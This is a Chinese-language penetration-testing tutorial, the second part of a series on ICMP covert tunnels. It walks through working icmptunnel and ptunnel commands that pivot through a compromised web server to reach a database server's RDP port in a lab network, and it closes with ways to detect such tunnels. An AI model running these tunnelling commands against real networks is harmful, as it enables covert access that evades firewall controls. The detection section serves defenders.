内网渗透之ICMP隐藏隧道( 二 ) _内网渗透

文章插图

? 然后另开一个终端，执行命令
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0? 指定一个网卡tun0，用于给隧道服务器端分配一个IP地址(10.0.0.1)

文章插图

?
? 被攻击者
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all ./icmptunnel 192.168.1.76

文章插图

? 连接上攻击者的icmptunnel服务端，然后再开一个终端，执行命令
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0? 指定IP地址为10.0.0.2

文章插图

? 此时建立了icmp隧道，在服务器端通过ssh连接被攻击对象

文章插图

ptunnel
? ptunnel就是工具pingtunnel
? 安装过程如下：

#安装libpcap的依赖环境yum -y install byaccyum -y install flex bison#安装libpcap依赖库wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install#安装PingTunnelwget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make install

? 参考：
https://mp.weixin.qq.com/s/AuGriK1Bha83rVYlGJpuUA
? 该工具在kali中是已经集成好的
? 现有场景如下：一个内网中，有一台Web服务器，一台数据库服务器，Web服务器可以ping通过数据库服务器，但是不能直接访问数据库服务器，已知数据库服务器此时有开启3389端口。

攻击者的IP地址：192.168.1.107(win7)攻击者的VPS地址：192.168.1.76(kali)web服务器的IP地址：192.168.1.26（外网）172.168.1.16（内网）(kali)数据库服务器的IP地址：172.168.1.18（内网）(win server 2008)

?
? 在攻击者的vps（192.168.1.76）中执行如下命令
ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie

-p跳板的公网IP-lp 指定本机的监听端口-da 目标服务器的内网IP-dp 指定目标服务器的端口-x为隧道写一个隧道密码，防止隧道滥用

文章插图

?在Web服务器中执行命令
ptunnel -x cookie

文章插图

在攻击者的机器上访问自己的vps的1080端口

文章插图

? 可以看到我们虽然连接的是192.168.1.76
但是我们通过使用web服务器作为跳板，将vps的1080端口与数据库服务器的3389端口连接在一起了。

文章插图

? 观察wireshark的流量变化情况

文章插图

应对icmp隧道措施使用icmp隧道时，会集中在某个时间点产生大量的icmp数据包，可以通过wireshark进行icmp数据包分析
? 1.检测同源的icmp数据包数量，正常的ping命令每秒最多两个数据包，隧道会产生大量的数据包。
? 2.注意payload大于64bit的ICMP数据包
? 3.寻找响应数据包和请求数据包payload不一致的ICMP数据包。

windows系统下ping默认传输的是： abcdefghijklmnopqrstuvwabcdefghi，共32byteslinux系统下，ping默认传输的是48bytes，前8bytes随时间变化，后面的固定不变，内容为!”#$%&’()+,-./01234567

? 参考
:https://www.freebuf.com/articles/network/202634.html
? 4.检查ICMP数据包的协议标签，比如icmptunnel会在所有icmp payload前面加上TUNL标识来标识隧道。
作者：饼干屑小鬼
转载自：
https://xz.aliyun.com/t/7875